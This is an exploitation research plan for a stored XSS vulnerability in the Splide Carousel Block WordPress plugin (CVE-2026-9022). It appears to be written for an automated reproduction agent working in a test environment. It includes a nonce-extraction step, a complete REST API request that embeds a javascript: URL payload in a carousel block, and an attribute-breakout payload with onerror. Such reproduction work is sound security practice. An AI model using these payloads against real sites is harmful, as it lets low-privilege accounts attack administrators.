Exploitation Research Plan - CVE-2026-9022

1. Vulnerability Summary

The Splide Carousel Block plugin (versions <= 1.7.1) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the cloudcatch/splide-carousel-item block, specifically within the url attribute. While the editor UI attempts to prepend protocols, it does not sanitize or validate against the javascript: protocol. Furthermore, the block's save function stores this attribute in a JSON string within a data-link attribute on the frontend. When a user clicks the carousel item, the frontend JavaScript parses this JSON and executes the URL, leading to script execution if a javascript: URI is used.

2. Attack Vector Analysis

• Endpoint: WordPress REST API Post creation/update (/wp-json/wp/v2/posts) or the Gutenberg Editor (/wp-admin/post.php).
• Vulnerable Block: cloudcatch/splide-carousel-item.
• Vulnerable Attribute: url.
• Payload Type: javascript: protocol URI.
• Authentication Level: Contributor or higher. Contributors can create and save posts (stored XSS), which then execute when viewed by an Editor or Administrator (e.g., during post review).
• Preconditions: The plugin must be active, and the attacker must have credentials for a Contributor-level account.

3. Code Flow

1. Input: A Contributor user creates or edits a post and inserts a cloudcatch/splide-carousel-item block with a malicious url attribute (e.g., javascript:alert(window.origin)).
2. Editor Processing (build/carousel-item/index.js):
   • The edit function uses (0, g.prependHTTP)(e) to process the URL.
   • prependHTTP (from wp-url) allows any string starting with a protocol (matching [a-z]+:), thus permitting javascript:.
3. Storage (build/carousel-item/index.js):
   • The save function generates the frontend HTML:

     "data-link": c ? JSON.stringify({ url: i, target: o, rel: a }) : null
     

   • The attribute i (the raw url) is placed into a JSON object and stringified into the data-link attribute.
4. Frontend Execution (build/carousel/view.js):
   • The frontend script initializes the Splide carousel.
   • It retrieves the data-link attribute from the slide element.
   • Upon a click event, it parses the JSON and performs a navigation/redirection using the url property (e.g., window.location.href = data.url or window.open(data.url)).
5. Sink: The browser executes the javascript: URI, resulting in XSS.

4. Nonce Acquisition Strategy

To interact with the REST API for post creation, a REST Nonce (_wpnonce) is required.

1. Login: Authenticate as a Contributor using the browser_navigate tool.
2. Navigation: Navigate to the "New Post" screen: /wp-admin/post-new.php.
3. Extraction: Use browser_eval to extract the nonce from the wpApiSettings object which is globally available in the Gutenberg editor context.
   • JavaScript: window.wpApiSettings.nonce

5. Exploitation Strategy

1. Setup Account: Ensure a Contributor user exists.
2. Get Nonce: Login as Contributor and extract the REST API nonce from /wp-admin/post-new.php.
3. Create Malicious Post: Use the http_request tool to send a POST request to /wp-json/wp/v2/posts.
   • Headers:
     • Content-Type: application/json
     • X-WP-Nonce: [EXTRACTED_NONCE]
   • Payload:

     {
       "title": "XSS Carousel Test",
       "content": "<!-- wp:cloudcatch/splide-carousel -->\n<div class=\"wp-block-cloudcatch-splide-carousel\">\n<!-- wp:cloudcatch/splide-carousel-item {\"url\":\"javascript:alert(document.domain)\"} -->\n<div class=\"wp-block-cloudcatch-splide-carousel-item\"></div>\n<!-- /wp:cloudcatch/splide-carousel-item -->\n</div>\n<!-- /wp:cloudcatch/splide-carousel -->",
       "status": "draft"
     }
     

4. Obtain Post URL: Extract the link from the REST API response.
5. Trigger XSS:
   • Navigate to the post's preview URL or the published URL (if an admin publishes it).
   • Click on the carousel slide item.

6. Test Data Setup

1. Plugin: Install and activate splide-carousel version 1.7.1.
2. User: Create a user with the contributor role.
3. Environment: Ensure the WordPress instance is configured to allow blocks (standard in WP 5.0+).

7. Expected Results

• The REST API call should return 201 Created.
• The post content in the database (verified via wp post get [ID] --field=post_content) should contain: <!-- wp:cloudcatch/splide-carousel-item {"url":"javascript:alert(document.domain)"} -->.
• The frontend HTML for the slide should contain: data-link='{"url":"javascript:alert(document.domain)", ...}'.
• Upon clicking the slide on the frontend, an alert box showing the document domain should appear.

8. Verification Steps

1. Database Check:
   • wp post list --post_type=post --post_status=draft
   • wp post get [POST_ID] --field=post_content
2. Frontend Render Check:
   • Navigate to the post URL.
   • Inspect the HTML for the element with class splide__slide.
   • Confirm the presence of data-link containing the javascript: payload.

9. Alternative Approaches

• Bypassing prependHTTP: If prependHTTP was more restrictive, an attacker could try data-link attribute breakout:
  • Payload for url: "}><img src=x onerror=alert(1)>
  • This targets the way JSON.stringify output is placed into the HTML attribute if the plugin failed to use esc_attr on the block's save output (though Gutenberg usually handles this).
• Editor-Side XSS: Check if the url is rendered unsanitized within the Gutenberg Editor (edit function in index.js). If the editor displays the link in an <a> tag or an <iframe> preview, the XSS might trigger for the Contributor immediately upon saving.